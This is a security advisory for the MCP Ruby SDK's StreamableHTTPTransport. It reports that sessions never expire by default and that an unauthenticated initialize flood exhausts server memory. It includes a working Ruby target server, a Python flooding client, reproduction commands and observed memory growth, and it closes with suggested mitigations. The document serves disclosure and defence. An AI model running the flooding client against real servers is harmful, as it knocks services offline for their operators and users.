GHSA-52jp-gj8w-j6xh MCP Ruby SDK: Unbounded session retention in StreamableHTTPTransport allows memory exhaustion via initialize flood

• RubyGems mcp: < 0.23.0 → fixed in 0.23.0

Summary In its default configuration, `MCP::Server::Transports::StreamableHTTPTransport` never expires sessions. Every successful `initialize` request stores a new `ServerSession` and a session record under a fresh UUID, and the only path that removes them is an explicit client-issued HTTP `DELETE`. An unauthenticated attacker can repeatedly initialize new sessions and immediately disconnect, forcing the server to retain an unbounded number of `ServerSession` objects until memory is exhausted. Affected component `lib/mcp/server/transports/streamable_http_transport.rb`: • Line 27, constructor: `def initialize(server, stateless: false, enable_json_response: false, session_idle_timeout: nil)` — the default for `session_idle_timeout` is `nil`. • Line 46: `start_reaper_thread if @session_idle_timeout` — when the timeout is `nil`, the reaper that prunes idle sessions is never started. • Lines 604–643 (`handle_initialization`): every successful `initialize` inserts a new session record; the only removal sites are `handle_delete` (client-controlled) and stream-error paths. The project README acknowledges the insecure default (line 1605): > By default, sessions do not expire. To mitigate session hijacking risks, you can set a `session_idle_timeout` (in seconds). Per-session memory cost is non-trivial: each entry contains a `ServerSession` instance (with its own `Mutex`, `@in_flight` hash, capabilities hash, and server reference), a top-level hash entry under the session UUID, and per-pending-request `Queue` allocations. Proof of concept Server (`session_poc_server.rb`) Starts the transport in its default configuration (no `session_idle_timeout`) and reports the in-memory session count plus process RSS every two seconds. ```ruby require "bundler/setup" require "mcp" require "mcp/server/transports/streamable_http_transport" require "rackup" require "webrick" require "rackup/handler/webrick" server = MCP::Server.new(name: "session-poc-target", tools: []) transport = MCP::Server::Transports::StreamableHTTPTransport.new(server) Thread.new do loop do sessions = transport.instance_variable_get(:@sessions) count = sessions ? sessions.size : 0 rss_mb = `ps -o rss= -p #{Process.pid}`.to_i / 1024 STDERR.puts("[mem] sessions=#{count} RSS=#{rss_mb} MB") sleep 2 end end STDERR.puts("[poc] listening on http://127.0.0.1:9295/") Rackup::Handler::WEBrick.run( transport, Host: "127.0.0.1", Port: 9295, AccessLog: [], Logger: WEBrick::Log.new(File::NULL), ) ``` Client (`session_poc_client.py`) ```python import concurrent.futures, json, socket, time HOST, PORT = "127.0.0.1", 9295 TOTAL, WORKERS = 50_000, 32 INIT = json.dumps({ "jsonrpc": "2.0", "id": 1, "method": "initialize", "params": {"protocolVersion": "2025-11-25", "capabilities": {}, "clientInfo": {"name": "flooder", "version": "1.0"}} }).encode() REQ = ( f"POST / HTTP/1.1\r\nHost: {HOST}:{PORT}\r\n" f"Content-Type: application/json\r\n" f"Accept: application/json, text/event-stream\r\n" f"Content-Length: {len(INIT)}\r\nConnection: close\r\n\r\n" ).encode() + INIT def one(): try: s = socket.create_connection((HOST, PORT), timeout=5) s.sendall(REQ) data = b"" while True: c = s.recv(8192) if not c: break data += c s.close() return b"mcp-session-id" in data.lower() except OSError: return False start = time.time() created = 0 with concurrent.futures.ThreadPoolExecutor(max_workers=WORKERS) as ex: futs = [ex.submit(one) for _ in range(TOTAL)] for i, f in enumerate(concurrent.futures.as_completed(futs), 1): if f.result(): created += 1 if i % 1000 == 0: print(f"[poc] dispatched {i} reqs, {created} sessions confirmed, " f"elapsed {time.time() - start:.1f}s") print(f"[poc] done. {created}/{TOTAL} sessions confirmed in " f"{time.time() - start:.1f}s") ``` Reproduction commands ```sh bundle install ruby session_poc_server.rb # terminal A python3 session_poc_client.py # terminal B ``` Observed result Tested on macOS, Ruby 3.2.4, against the SDK's `main` branch. Server terminal: ``` [mem] sessions=0 RSS=45 MB [mem] sessions=2605 RSS=56 MB [mem] sessions=11587 RSS=72 MB [mem] sessions=23119 RSS=85 MB [mem] sessions=34391 RSS=119 MB [mem] sessions=45325 RSS=128 MB [mem] sessions=50000 RSS=154 MB [mem] sessions=50000 RSS=152 MB [mem] sessions=50000 RSS=152 MB [mem] sessions=50000 RSS=152 MB # plateau persists indefinitely ``` Client terminal: ``` [poc] dispatched 50000 reqs, 50000 sessions confirmed, elapsed 26.6s [poc] done. 50000/50000 sessions confirmed in 26.6s ``` 50,000 unique sessions are created and retained in 26.6 seconds from a single client. The session count remains pinned at 50,000 indefinitely, confirming that no reaper exists to free the records. Scaling the attack linearly (multiple clients, larger client-capability payloads, longer runtime) drives RSS until the worker is OOM-killed. Impact • Attacker requirements: unauthenticated TCP reach of the MCP endpoint. No session, no credentials. • Effect: memory-exhaustion denial of service. A sustained or distributed attacker can OOM the worker; on services that recycle workers, the attacker simply repeats. On multi-tenant gateways, one tenant can starve all others. • Affected deployments: every deployment that does not opt into `session_idle_timeout`. Because the README presents this as an opt-in mitigation rather than a default, real-world deployments are likely to ship vulnerable. Suggested mitigation 1. Change the default of `session_idle_timeout` to a finite value (e.g. 30 minutes) and document the change as a security default. 2. Add a `max_sessions:` constructor option; reject `initialize` with HTTP 503 once the cap is reached. 3. Track the time of the `initialize` POST separately from later request activity, and evict sessions whose GET SSE stream is never attached within N seconds.